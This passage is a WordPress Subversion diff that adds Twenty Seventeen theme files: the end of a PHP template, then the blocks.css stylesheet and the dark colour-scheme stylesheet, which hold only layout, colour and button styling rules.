+			get_template_part( 'template-parts/post/content', 'none' );
+
+		endif; ?>
+
+		</main><!-- #main -->
+	</div><!-- #primary -->
+	<?php get_sidebar(); ?>
+</div><!-- .wrap -->
+
+<?php get_footer();
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/blocks.css	(revision 56912)
@@ -0,0 +1,451 @@
+/*
+Theme Name: Twenty Seventeen
+Description: Used to style blocks.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Block Styles
+2.0 Blocks - Common Blocks
+3.0 Blocks - Formatting
+4.0 Blocks - Layout Elements
+5.0 Blocks - Widgets
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Captions */
+
+[class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	font-style: italic;
+	margin-bottom: 1.5em;
+	text-align: left;
+}
+
+.rtl [class^="wp-block-"]:not(.wp-block-gallery) figcaption {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+2.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.075em;
+}
+
+/* Image */
+
+.wp-block-image {
+	margin-bottom: 1.5em;
+}
+
+.wp-block-image figure {
+	margin-bottom: 0;
+	margin-top: 0;
+}
+
+.wp-block-image figure.alignleft {
+	margin-right: 1.5em;
+}
+
+.wp-block-image figure.alignright {
+	margin-left: 1.5em;
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin-bottom: 1.5em;
+}
+
+.wp-block-gallery figcaption {
+	font-style: italic;
+}
+
+.wp-block-gallery.aligncenter {
+	display: flex;
+	margin: 0 -8px;
+}
+
+/* Quote */
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: 0;
+	padding: 0;
+}
+
+.wp-block-quote.alignleft p:last-of-type,
+.wp-block-quote.alignright p:last-of-type {
+	margin-bottom: 0;
+}
+
+.wp-block-quote cite {
+	color: inherit;
+	font-size: inherit;
+}
+
+/* Audio */
+
+.wp-block-audio audio {
+	display: block;
+	width: 100%;
+}
+
+/* Cover */
+
+.wp-block-cover-image.alignright,
+.wp-block-cover.alignright,
+.wp-block-cover-image.alignleft,
+.wp-block-cover.alignleft,
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter {
+	display: flex;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__button {
+	background-color: #222;
+	-webkit-border-radius: 2px;
+	border-radius: 2px;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #fff;
+	display: inline-block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	margin-top: 2em;
+	padding: 0.7em 2em;
+	-webkit-transition: background-color 0.2s ease-in-out;
+	transition: background-color 0.2s ease-in-out;
+	white-space: nowrap;
+}
+
+.wp-block-file .wp-block-file__button:hover,
+.wp-block-file .wp-block-file__button:focus {
+	background-color: #767676;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+.wp-block-code {
+	background: transparent;
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	border: 0;
+}
+
+.wp-block-pullquote__citation,
+.wp-block-pullquote cite {
+	font-size: inherit;
+	text-transform: none;
+}
+
+/* Table */
+
+.wp-block-table thead th {
+	border-bottom: 2px solid #bbb;
+	padding-bottom: 0.5em;
+}
+
+.wp-block-table tr {
+	border-bottom: 1px solid #eee;
+}
+
+.wp-block-table th,
+.wp-block-table td {
+	border: 0;
+}
+
+.rtl .wp-block-table th,
+.rtl .wp-block-table td {
+	text-align: right;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	display: inline-block;
+	font-size: 14px;
+	font-size: 0.875rem;
+	font-weight: 800;
+	line-height: 1.66;
+	margin-top: 2em;
+	padding: 0.7em 2em;
+	-webkit-transition: background-color 0.2s ease-in-out;
+	transition: background-color 0.2s ease-in-out;
+	white-space: nowrap;
+}
+
+.entry-content .wp-block-button__link {
+	background-color: #222;
+	color: #fff;
+}
+
+.entry-content .is-style-outline .wp-block-button__link:not(.has-background) {
+	background-color: transparent;
+}
+
+.entry-content .is-style-outline .wp-block-button__link:not(.has-text-color) {
+	color: #222;
+}
+
+.colors-dark .wp-block-button__link {
+	background-color: #fff;
+	color: #000;
+}
+
+.entry-content .wp-block-button__link:hover,
+.entry-content .wp-block-button__link:focus,
+.entry-content .is-style-outline .wp-block-button__link:not(.has-background):hover,
+.entry-content .is-style-outline .wp-block-button__link:not(.has-background):focus {
+	background-color: #767676;
+	-webkit-box-shadow: none;
+	box-shadow: none;
+	color: #fff;
+}
+
+.colors-dark .entry-content .wp-block-button__link:hover,
+.colors-dark .entry-content .wp-block-button__link:focus,
+.colors-dark .entry-content .is-style-outline .wp-block-button__link:not(.has-background):hover,
+.colors-dark .entry-content .is-style-outline .wp-block-button__link:not(.has-background):focus {
+	background-color: #bbb;
+	color: #000;
+}
+
+.colors-dark .entry-content .is-style-outline .wp-block-button__link:not(.has-text-color) {
+	color: #fff;
+}
+
+.colors-dark .entry-content .is-style-outline .wp-block-button__link:not(.has-text-color):hover,
+.colors-dark .entry-content .is-style-outline .wp-block-button__link:not(.has-text-color):focus {
+	color: #222;
+}
+
+.colors-custom .entry-content .wp-block-button__link,
+.colors-custom .entry-content .wp-block-button__link:hover,
+.colors-custom .entry-content .wp-block-button__link:focus,
+.colors-dark .entry-content .wp-block-button__link,
+.colors-dark .entry-content .wp-block-button__link:hover,
+.colors-dark .entry-content .wp-block-button__link:focus {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+.colors-custom .entry-content .wp-block-button__link:hover,
+.colors-custom .entry-content .wp-block-button__link:focus {
+	color: #fff;
+}
+
+/* Separator */
+
+.wp-block-separator {
+	border: 0;
+}
+
+.wp-block-separator:not(.is-style-wide):not(.is-style-dots) {
+	max-width: 100px;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 1.5em;
+}
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	list-style-position: inside;
+	text-align: center;
+}
+
+/* Comments */
+
+.wp-block-latest-comments article {
+	margin-bottom: 4em;
+}
+
+.blog:not(.has-sidebar) #primary .wp-block-latest-comments article,
+.archive:not(.page-one-column):not(.has-sidebar) #primary .wp-block-latest-comments article,
+.search:not(.has-sidebar) #primary .wp-block-latest-comments article {
+	float: none;
+	width: 100%;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+}
+
+.wp-block-latest-comments a {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(255, 255, 255, 1);
+	box-shadow: inset 0 -1px 0 rgba(255, 255, 255, 1);
+
+}
+
+.wp-block-latest-comments__comment-meta {
+	font-size: 16px;
+	font-size: 1rem;
+	margin-bottom: 0.4em;
+}
+
+.wp-block-latest-comments__comment-author,
+.wp-block-latest-comments__comment-link {
+	font-weight: 700;
+	text-decoration: none;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #767676;
+	font-size: 10px;
+	font-size: 0.625rem;
+	font-weight: 800;
+	letter-spacing: 0.1818em;
+	margin-top: 0.4em;
+	text-transform: uppercase;
+}
+
+.editor-block-list__block .wp-block-latest-comments__comment-excerpt p {
+	font-size: 14px;
+	font-size: 0.875rem;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.entry-content .has-pale-pink-color {
+	color: #f78da7;
+}
+
+.entry-content .has-pale-pink-background-color,
+.wp-block-button.is-style-outline .has-pale-pink-background-color:link {
+	background-color: #f78da7;
+}
+
+.entry-content .has-vivid-red-color {
+	color: #cf2e2e;
+}
+
+.entry-content .has-vivid-red-background-color,
+.wp-block-button.is-style-outline .has-vivid-red-background-color:link {
+	background-color: #cf2e2e;
+}
+
+.entry-content .has-luminous-vivid-orange-color {
+	color: #ff6900;
+}
+
+.entry-content .has-luminous-vivid-orange-background-color,
+.wp-block-button.is-style-outline .has-luminous-vivid-orange-background-color:link {
+	background-color: #ff6900;
+}
+
+.entry-content .has-luminous-vivid-amber-color {
+	color: #fcb900;
+}
+
+.entry-content .has-luminous-vivid-amber-background-color,
+.wp-block-button.is-style-outline .has-luminous-vivid-amber-background-color:link {
+	background-color: #fcb900;
+}
+
+.entry-content .has-light-green-cyan-color {
+	color: #7bdcb5;
+}
+
+.entry-content .has-light-green-cyan-background-color,
+.wp-block-button.is-style-outline .has-light-green-cyan-background-color:link {
+	background-color: #7bdcb5;
+}
+
+.entry-content .has-vivid-green-cyan-color {
+	color: #00d084;
+}
+
+.entry-content .has-vivid-green-cyan-background-color,
+.wp-block-button.is-style-outline .has-vivid-green-cyan-background-color:link {
+	background-color: #00d084;
+}
+
+.entry-content .has-pale-cyan-blue-color {
+	color: #8ed1fc;
+}
+
+.entry-content .has-pale-cyan-blue-background-color,
+.wp-block-button.is-style-outline .has-pale-cyan-blue-background-color:link {
+	background-color: #8ed1fc;
+}
+
+.entry-content .has-vivid-cyan-blue-color {
+	color: #0693e3;
+}
+
+.entry-content .has-vivid-cyan-blue-background-color,
+.wp-block-button.is-style-outline .has-vivid-cyan-blue-background-color:link {
+	background-color: #0693e3;
+}
+
+.entry-content .has-very-light-gray-color {
+	color: #eee;
+}
+
+.entry-content .has-very-light-gray-background-color,
+.wp-block-button.is-style-outline .has-very-light-gray-background-color:link {
+	background-color: #eee;
+}
+
+.entry-content .has-cyan-bluish-gray-color {
+	color: #abb8c3;
+}
+
+.entry-content .has-cyan-bluish-gray-background-color,
+.wp-block-button.is-style-outline .has-cyan-bluish-gray-background-color:link {
+	background-color: #abb8c3;
+}
+
+.entry-content .has-very-dark-gray-color {
+	color: #313131;
+}
+
+.entry-content .has-very-dark-gray-background-color,
+.wp-block-button.is-style-outline .has-very-dark-gray-background-color:link {
+	background-color: #313131;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/colors-dark.css	(revision 56912)
@@ -0,0 +1,566 @@
+/**
+ * Twenty Seventeen: Dark Color Scheme
+ *
+ * See inc/color-patterns.php for dynamic color overrides for the theme.
+ *
+ * Colors are ordered from light to dark.
+ */
+
+.colors-dark button,
+.colors-dark input[type="button"],
+.colors-dark input[type="submit"],
+.colors-dark .entry-footer .edit-link a.post-edit-link {
+	background-color: #fff;
+}
+
+.colors-dark a:hover,
+.colors-dark a:active,
+.colors-dark .entry-content a:focus,
+.colors-dark .entry-content a:hover,
+.colors-dark .entry-summary a:focus,
+.colors-dark .entry-summary a:hover,
+.colors-dark .comment-content a:focus,
+.colors-dark .comment-content a:hover,
+.colors-dark .widget a:focus,
+.colors-dark .widget a:hover,
+.colors-dark .site-footer .widget-area a:focus,
+.colors-dark .site-footer .widget-area a:hover,
+.colors-dark .posts-navigation a:focus,
+.colors-dark .posts-navigation a:hover,
+.colors-dark .comment-metadata a:focus,
+.colors-dark .comment-metadata a:hover,
+.colors-dark .comment-metadata a.comment-edit-link:focus,
+.colors-dark .comment-metadata a.comment-edit-link:hover,
+.colors-dark .comment-reply-link:focus,
+.colors-dark .comment-reply-link:hover,
+.colors-dark .widget_authors a:focus strong,
+.colors-dark .widget_authors a:hover strong,
+.colors-dark .entry-title a:focus,
+.colors-dark .entry-title a:hover,
+.colors-dark .entry-meta a:focus,
+.colors-dark .entry-meta a:hover,
+.colors-dark.blog .entry-meta a.post-edit-link:focus,
+.colors-dark.blog .entry-meta a.post-edit-link:hover,
+.colors-dark.archive .entry-meta a.post-edit-link:focus,
+.colors-dark.archive .entry-meta a.post-edit-link:hover,
+.colors-dark.search .entry-meta a.post-edit-link:focus,
+.colors-dark.search .entry-meta a.post-edit-link:hover,
+.colors-dark .page-links a:focus .page-number,
+.colors-dark .page-links a:hover .page-number,
+.colors-dark .entry-footer .cat-links a:focus,
+.colors-dark .entry-footer .cat-links a:hover,
+.colors-dark .entry-footer .tags-links a:focus,
+.colors-dark .entry-footer .tags-links a:hover,
+.colors-dark .post-navigation a:focus,
+.colors-dark .post-navigation a:hover,
+.colors-dark .pagination a:not(.prev):not(.next):focus,
+.colors-dark .pagination a:not(.prev):not(.next):hover,
+.colors-dark .comments-pagination a:not(.prev):not(.next):focus,
+.colors-dark .comments-pagination a:not(.prev):not(.next):hover,
+.colors-dark .logged-in-as a:focus,
+.colors-dark .logged-in-as a:hover,
+.colors-dark a:focus .nav-title,
+.colors-dark a:hover .nav-title,
+.colors-dark .edit-link a:focus,
+.colors-dark .edit-link a:hover,
+.colors-dark .site-info a:focus,
+.colors-dark .site-info a:hover,
+.colors-dark .widget .widget-title a:focus,
+.colors-dark .widget .widget-title a:hover,
+.colors-dark .widget ul li a:focus,
+.colors-dark .widget ul li a:hover {
+	color: #fff;
+}
+
+.colors-dark .entry-content a:focus,
+.colors-dark .entry-content a:hover,
+.colors-dark .entry-summary a:focus,
+.colors-dark .entry-summary a:hover,
+.colors-dark .comment-content a:focus,
+.colors-dark .comment-content a:hover,
+.colors-dark .widget a:focus,
+.colors-dark .widget a:hover,
+.colors-dark .site-footer .widget-area a:focus,
+.colors-dark .site-footer .widget-area a:hover,
+.colors-dark .posts-navigation a:focus,
+.colors-dark .posts-navigation a:hover,
+.colors-dark .comment-metadata a:focus,
+.colors-dark .comment-metadata a:hover,
+.colors-dark .comment-metadata a.comment-edit-link:focus,
+.colors-dark .comment-metadata a.comment-edit-link:hover,
+.colors-dark .comment-reply-link:focus,
+.colors-dark .comment-reply-link:hover,
+.colors-dark .widget_authors a:focus strong,
+.colors-dark .widget_authors a:hover strong,
+.colors-dark .entry-title a:focus,
+.colors-dark .entry-title a:hover,
+.colors-dark .entry-meta a:focus,
+.colors-dark .entry-meta a:hover,
+.colors-dark.blog .entry-meta a.post-edit-link:focus,
+.colors-dark.blog .entry-meta a.post-edit-link:hover,
+.colors-dark.archive .entry-meta a.post-edit-link:focus,
+.colors-dark.archive .entry-meta a.post-edit-link:hover,
+.colors-dark.search .entry-meta a.post-edit-link:focus,
+.colors-dark.search .entry-meta a.post-edit-link:hover,
+.colors-dark .page-links a:focus .page-number,
+.colors-dark .page-links a:hover .page-number,
+.colors-dark .entry-footer .cat-links a:focus,
+.colors-dark .entry-footer .cat-links a:hover,
+.colors-dark .entry-footer .tags-links a:focus,
+.colors-dark .entry-footer .tags-links a:hover,
+.colors-dark .post-navigation a:focus,
+.colors-dark .post-navigation a:hover,
+.colors-dark .pagination a:not(.prev):not(.next):focus,
+.colors-dark .pagination a:not(.prev):not(.next):hover,
+.colors-dark .comments-pagination a:not(.prev):not(.next):focus,
+.colors-dark .comments-pagination a:not(.prev):not(.next):hover,
+.colors-dark .logged-in-as a:focus,
+.colors-dark .logged-in-as a:hover,
+.colors-dark a:focus .nav-title,
+.colors-dark a:hover .nav-title,
+.colors-dark .edit-link a:focus,
+.colors-dark .edit-link a:hover,
+.colors-dark .site-info a:focus,
+.colors-dark .site-info a:hover,
+.colors-dark .widget .widget-title a:focus,
+.colors-dark .widget .widget-title a:hover,
+.colors-dark .widget ul li a:focus,
+.colors-dark .widget ul li a:hover {
+	-webkit-box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalant to #fff */
+	box-shadow: inset 0 0 0 rgba(255, 255, 255, 0), 0 3px 0 rgba(255, 255, 255, 1); /* Equivalant to #fff */
+}
+
+.colors-dark .entry-content a,
+.colors-dark .entry-summary a,
+.colors-dark .comment-content a,
+.colors-dark .widget a,
+.colors-dark .site-footer .widget-area a,
+.colors-dark .posts-navigation a,
+.colors-dark .widget_authors a strong {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalant to #f0f0f0 */
+	box-shadow: inset 0 -1px 0 rgba(240, 240, 240, 1); /* Equivalant to #f0f0f0 */
+}
+
+body.colors-dark,
+.colors-dark button,
+.colors-dark input,
+.colors-dark select,
+.colors-dark textarea,
+.colors-dark h3,
+.colors-dark h4,
+.colors-dark h6,
+.colors-dark label,
+.colors-dark .entry-title a,
+.colors-dark.twentyseventeen-front-page .panel-content .recent-posts article,
+.colors-dark .entry-footer .cat-links a,
+.colors-dark .entry-footer .tags-links a,
+.colors-dark .format-quote blockquote,
+.colors-dark .nav-title,
+.colors-dark .comment-body {
+	color: #eee;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+.colors-dark ::-webkit-input-placeholder {
+	color: #ddd;
+}
+
+.colors-dark :-moz-placeholder {
+	color: #ddd;
+}
+
+.colors-dark ::-moz-placeholder {
+	color: #ddd;
+}
+
+.colors-dark :-ms-input-placeholder {
+	color: #ddd;
+}
+
+.colors-dark input[type="text"]:focus,
+.colors-dark input[type="email"]:focus,
+.colors-dark input[type="url"]:focus,
+.colors-dark input[type="password"]:focus,
+.colors-dark input[type="search"]:focus,
+.colors-dark input[type="number"]:focus,
+.colors-dark input[type="tel"]:focus,
+.colors-dark input[type="range"]:focus,
+.colors-dark input[type="date"]:focus,
+.colors-dark input[type="month"]:focus,
+.colors-dark input[type="week"]:focus,
+.colors-dark input[type="time"]:focus,
+.colors-dark input[type="datetime"]:focus,
+.colors-dark input[type="datetime-local"]:focus,
+.colors-dark input[type="color"]:focus,
+.colors-dark textarea:focus,
+.bypostauthor > .comment-body > .comment-meta > .comment-author .avatar {
+	border-color: #eee;
+}
+
+.colors-dark input[type="text"]:focus,
+.colors-dark input[type="email"]:focus,
+.colors-dark input[type="url"]:focus,
+.colors-dark input[type="password"]:focus,
+.colors-dark input[type="search"]:focus,
+.colors-dark input[type="number"]:focus,
+.colors-dark input[type="tel"]:focus,
+.colors-dark input[type="range"]:focus,
+.colors-dark input[type="date"]:focus,
+.colors-dark input[type="month"]:focus,
+.colors-dark input[type="week"]:focus,
+.colors-dark input[type="time"]:focus,
+.colors-dark input[type="datetime"]:focus,
+.colors-dark input[type="datetime-local"]:focus,
+.colors-dark input[type="color"]:focus,
+.colors-dark textarea:focus,
+.colors-dark button.secondary,
+.colors-dark input[type="reset"],
+.colors-dark input[type="button"].secondary,
+.colors-dark input[type="reset"].secondary,
+.colors-dark input[type="submit"].secondary,
+.colors-dark a,
+.colors-dark .site-title,
+.colors-dark .site-title a,
+.colors-dark .navigation-top a,
+.colors-dark .dropdown-toggle,
+.colors-dark .menu-toggle,
+.colors-dark .page .panel-content .entry-title,
+.colors-dark .page-title,
+.colors-dark.page:not(.twentyseventeen-front-page) .entry-title,
+.colors-dark .page-links a .page-number,
+.colors-dark .comment-metadata a.comment-edit-link,
+.colors-dark .comment-reply-link .icon,
+.colors-dark h2.widget-title,
+.colors-dark mark,
+.colors-dark .post-navigation a:focus .icon,
+.colors-dark .post-navigation a:hover .icon,
+.colors-dark.blog .entry-meta a.post-edit-link,
+.colors-dark.archive .entry-meta a.post-edit-link,
+.colors-dark.search .entry-meta a.post-edit-link,
+.colors-custom .twentyseventeen-panel .recent-posts .entry-header .edit-link {
+	color: #ddd;
+}
+
+.colors-dark h2,
+.colors-dark blockquote,
+.colors-dark input[type="text"],
+.colors-dark input[type="email"],
+.colors-dark input[type="url"],
+.colors-dark input[type="password"],
+.colors-dark input[type="search"],
+.colors-dark input[type="number"],
+.colors-dark input[type="tel"],
+.colors-dark input[type="range"],
+.colors-dark input[type="date"],
+.colors-dark input[type="month"],
+.colors-dark input[type="week"],
+.colors-dark input[type="time"],
+.colors-dark input[type="datetime"],
+.colors-dark input[type="datetime-local"],
+.colors-dark input[type="color"],
+.colors-dark textarea,
+.colors-dark .navigation-top .current-menu-item > a,
+.colors-dark .navigation-top .current_page_item > a,
+.colors-dark .entry-content blockquote.alignleft,
+.colors-dark .entry-content blockquote.alignright,
+.colors-dark .taxonomy-description,
+.colors-dark .site-info a,
+.colors-dark .wp-caption {
+	color: #ccc;
+}
+
+.colors-dark abbr,
+.colors-dark acronym {
+	border-bottom-color: #ccc;
+}
+
+.colors-dark h5,
+.main-navigation a:hover,
+.colors-dark .entry-meta,
+.colors-dark .entry-meta a,
+.colors-dark .nav-subtitle,
+.colors-dark .comment-metadata,
+.colors-dark .comment-metadata a,
+.colors-dark .no-comments,
+.colors-dark .comment-awaiting-moderation,
+.colors-dark .page-numbers.current,
+.colors-dark .page-links .page-number,
+.colors-dark .site-description {
+	color: #bbb;
+}
+
+.colors-dark button:hover,
+.colors-dark button:focus,
+.colors-dark input[type="button"]:hover,
+.colors-dark input[type="button"]:focus,
+.colors-dark input[type="submit"]:hover,
+.colors-dark input[type="submit"]:focus,
+.colors-dark .prev.page-numbers:focus,
+.colors-dark .prev.page-numbers:hover,
+.colors-dark .next.page-numbers:focus,
+.colors-dark .next.page-numbers:hover,
+.colors-dark .entry-footer .edit-link a.post-edit-link:focus,
+.colors-dark .entry-footer .edit-link a.post-edit-link:hover {
+	background: #bbb;
+}
+
+.colors-dark .social-navigation a:hover,
+.colors-dark .social-navigation a:focus {
+	background: #999;
+	color: #222;
+}
+
+.colors-dark .entry-footer .cat-links .icon,
+.colors-dark .entry-footer .tags-links .icon {
+	color: #666;
+}
+
+.colors-dark button.secondary:hover,
+.colors-dark button.secondary:focus,
+.colors-dark input[type="reset"]:hover,
+.colors-dark input[type="reset"]:focus,
+.colors-dark input[type="button"].secondary:hover,
+.colors-dark input[type="button"].secondary:focus,
+.colors-dark input[type="reset"].secondary:hover,
+.colors-dark input[type="reset"].secondary:focus,
+.colors-dark input[type="submit"].secondary:hover,
+.colors-dark input[type="submit"].secondary:focus,
+.colors-dark .social-navigation a,
+.colors-dark hr {
+	background: #555;
+}
+
+.colors-dark input[type="text"],
+.colors-dark input[type="email"],
+.colors-dark input[type="url"],
+.colors-dark input[type="password"],
+.colors-dark input[type="search"],
+.colors-dark input[type="number"],
+.colors-dark input[type="tel"],
+.colors-dark input[type="range"],
+.colors-dark input[type="date"],
+.colors-dark input[type="month"],
+.colors-dark input[type="week"],
+.colors-dark input[type="time"],
+.colors-dark input[type="datetime"],
+.colors-dark input[type="datetime-local"],
+.colors-dark input[type="color"],
+.colors-dark textarea,
+.colors-dark select,
+.colors-dark fieldset,
+.colors-dark .widget .tagcloud a:hover,
+.colors-dark .widget .tagcloud a:focus,
+.colors-dark .widget.widget_tag_cloud a:hover,
+.colors-dark .widget.widget_tag_cloud a:focus,
+.colors-dark .wp_widget_tag_cloud a:hover,
+.colors-dark .wp_widget_tag_cloud a:focus {
+	border-color: #555;
+}
+
+.colors-dark button.secondary,
+.colors-dark input[type="reset"],
+.colors-dark input[type="button"].secondary,
+.colors-dark input[type="reset"].secondary,
+.colors-dark input[type="submit"].secondary,
+.colors-dark .prev.page-numbers,
+.colors-dark .next.page-numbers {
+	background-color: #444;
+}
+
+.colors-dark .widget .tagcloud a,
+.colors-dark .widget.widget_tag_cloud a,
+.colors-dark .wp_widget_tag_cloud a {
+	border-color: #444;
+}
+
+.colors-dark.twentyseventeen-front-page article:not(.has-post-thumbnail):not(:first-child),
+.colors-dark .widget ul li {
+	border-top-color: #444;
+}
+
+.colors-dark .widget ul li {
+	border-bottom-color: #444;
+}
+
+.colors-dark pre,
+.colors-dark mark,
+.colors-dark ins,
+.colors-dark input[type="text"],
+.colors-dark input[type="email"],
+.colors-dark input[type="url"],
+.colors-dark input[type="password"],
+.colors-dark input[type="search"],
+.colors-dark input[type="number"],
+.colors-dark input[type="tel"],
+.colors-dark input[type="range"],
+.colors-dark input[type="date"],
+.colors-dark input[type="month"],
+.colors-dark input[type="week"],
+.colors-dark input[type="time"],
+.colors-dark input[type="datetime"],
+.colors-dark input[type="datetime-local"],
+.colors-dark input[type="color"],
+.colors-dark textarea,
+.colors-dark select,
+.colors-dark fieldset {
+	background: #333;
+}
+
+.colors-dark tr,
+.colors-dark thead th {
+	border-color: #333;
+}
+
+.colors-dark .navigation-top,
+.colors-dark .main-navigation > div > ul,
+.colors-dark .pagination,
+.colors-dark .comment-navigation,
+.colors-dark .entry-footer,
+.colors-dark .site-footer {
+	border-top-color: #333;
+}
+
+.colors-dark .single-featured-image-header,
+.colors-dark .navigation-top,
+.colors-dark .main-navigation li,
+.colors-dark .entry-footer,
+.colors-dark #comments {
+	border-bottom-color: #333;
+}
+
+.colors-dark .site-header,
+.colors-dark .single-featured-image-header {
+	background-color: #262626;
+}
+
+.colors-dark button,
+.colors-dark input[type="button"],
+.colors-dark input[type="submit"],
+.colors-dark .prev.page-numbers:focus,
+.colors-dark .prev.page-numbers:hover,
+.colors-dark .next.page-numbers:focus,
+.colors-dark .next.page-numbers:hover {
+	color: #222;
+}
+
+body.colors-dark,
+.colors-dark .site-content-contain,
+.colors-dark .navigation-top,
+.colors-dark .main-navigation ul {
+	background: #222;
+}
+
+.colors-dark .entry-title a,
+.colors-dark .entry-meta a,
+.colors-dark.blog .entry-meta a.post-edit-link,
+.colors-dark.archive .entry-meta a.post-edit-link,
+.colors-dark.search .entry-meta a.post-edit-link,
+.colors-dark .page-links a,
+.colors-dark .page-links a .page-number,
+.colors-dark .entry-footer a,
+.colors-dark .entry-footer .cat-links a,
+.colors-dark .entry-footer .tags-links a,
+.colors-dark .edit-link a,
+.colors-dark .post-navigation a,
+.colors-dark .logged-in-as a,
+.colors-dark .comment-navigation a,
+.colors-dark .comment-metadata a,
+.colors-dark .comment-metadata a.comment-edit-link,
+.colors-dark .comment-reply-link,
+.colors-dark a .nav-title,
+.colors-dark .pagination a,
+.colors-dark .comments-pagination a,
+.colors-dark .widget .widget-title a,
+.colors-dark .widget ul li a,
+.colors-dark .site-footer .widget-area ul li a,
+.colors-dark .site-info a {
+	-webkit-box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalant to #222 */
+	box-shadow: inset 0 -1px 0 rgba(34, 34, 34, 1); /* Equivalant to #222 */
+}
+
+/* Fixes linked images */
+.colors-dark .entry-content a img,
+.colors-dark .comment-content a img,
+.colors-dark .widget a img {
+	-webkit-box-shadow: 0 0 0 8px #222;
+	box-shadow: 0 0 0 8px #222;
+}
+
+.colors-dark .entry-footer .edit-link a.post-edit-link {
+	color: #000;
+}
+
+.colors-dark .menu-toggle,
+.colors-dark .menu-toggle:hover,
+.colors-dark .menu-toggle:focus,
+.colors-dark .dropdown-toggle,
+.colors-dark .dropdown-toggle:hover,
+.colors-dark .dropdown-toggle:focus,
+.colors-dark .menu-scroll-down,
+.colors-dark .menu-scroll-down:hover,
+.colors-dark .menu-scroll-down:focus {
+	background-color: transparent;
+}
+
+.colors-dark .gallery-item a,
+.colors-dark .gallery-item a:hover,
+.colors-dark .gallery-item a:focus,
+.colors-dark .widget .tagcloud a,
+.colors-dark .widget .tagcloud a:focus,
+.colors-dark .widget .tagcloud a:hover,
+.colors-dark .widget.widget_tag_cloud a,
+.colors-dark .widget.widget_tag_cloud a:focus,
+.colors-dark .widget.widget_tag_cloud a:hover,
+.colors-dark .wp_widget_tag_cloud a,
+.colors-dark .wp_widget_tag_cloud a:focus,
+.colors-dark .wp_widget_tag_cloud a:hover,
+.colors-dark .entry-footer .edit-link a.post-edit-link:focus,
+.colors-dark .entry-footer .edit-link a.post-edit-link:hover {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+@media screen and (min-width: 48em) {
+
+	.colors-dark .nav-links .nav-previous .nav-title .icon,
+	.colors-dark .nav-links .nav-next .nav-title .icon {
+		color: #eee;
+	}
+
+	.colors-dark .main-navigation li li:hover,
+	.colors-dark .main-navigation li li.focus {
+		background: #999;
+	}
+
+	.colors-dark .menu-scroll-down {
+		color: #999;
+	}
+
+	.colors-dark .main-navigation ul ul {
+		border-color: #333;
+		background: #222;
+	}
+
+	.colors-dark .main-navigation ul li.menu-item-has-children:before,
+	.colors-dark .main-navigation ul li.page_item_has_children:before {
+		border-bottom-color: #333;
+	}
+
+	.main-navigation ul li.menu-item-has-children:after,
+	.main-navigation ul li.page_item_has_children:after {
+		border-bottom-color: #222;
+	}
+
+	.colors-dark .main-navigation li li.focus > a,
+	.colors-dark .main-navigation li li:focus > a,
+	.colors-dark .main-navigation li li:hover > a,
+	.colors-dark .main-navigation li li a:hover,
+	.colors-dark .main-navigation li li a:focus,
+	.colors-dark .main-navigation li li.current_page_item a:hover,
+	.colors-dark .main-navigation li li.current-menu-item a:hover,
+	.colors-dark .main-navigation li li.current_page_item a:focus,
+	.colors-dark .main-navigation li li.current-menu-item a:focus {
+		color: #222;
+	}
+
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/assets/css/editor-blocks.css	(revision 56912)
@@ -0,0 +1,803 @@
+/*
